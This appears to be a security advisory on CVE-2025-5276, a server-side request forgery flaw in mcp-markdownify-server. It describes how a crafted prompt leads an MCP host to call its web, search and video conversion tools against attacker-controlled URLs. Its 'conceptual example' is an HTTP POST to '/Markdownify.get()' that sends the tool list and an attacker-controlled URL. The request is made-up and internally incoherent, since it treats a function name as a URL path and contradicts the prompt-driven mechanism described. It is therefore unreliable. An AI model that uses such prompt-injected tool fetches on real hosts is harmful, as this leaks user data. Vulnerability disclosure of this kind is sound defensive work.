Overview
This report discusses the Server-Side Request Forgery (SSRF) vulnerability discovered in all versions of the mcp-markdownify-server package. This vulnerability is a significant security risk to the MCP host as it allows an attacker to invoke certain tools using a crafted prompt, potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-5276
Severity: High (7.4 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage
Affected Products
Product | Affected Versions
mcp-markdownify-server | All versions
How the Exploit Works
The SSRF vulnerability in the mcp-markdownify-server package is exploited via the Markdownify.get() function. An attacker can craft a prompt that, when accessed by the MCP host, triggers the webpage-to-markdown, bing-search-to-markdown, and youtube-to-markdown tools. These tools can issue requests and read responses to URLs controlled by the attacker, thereby potentially leaking sensitive information or compromising the system.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
POST /Markdownify.get() HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"markdown_tools": ["webpage-to-markdown", "bing-search-to-markdown", "youtube-to-markdown"],
"url": "http://attacker-controlled-url.com"
}
In this example, the attacker sends a POST request to the Markdownify.get() function with a JSON object containing the markdown_tools and an attacker-controlled URL. The MCP host, upon receiving this request, would then invoke the specified markdown tools to issue requests to the attacker-controlled URL, potentially leaking sensitive information.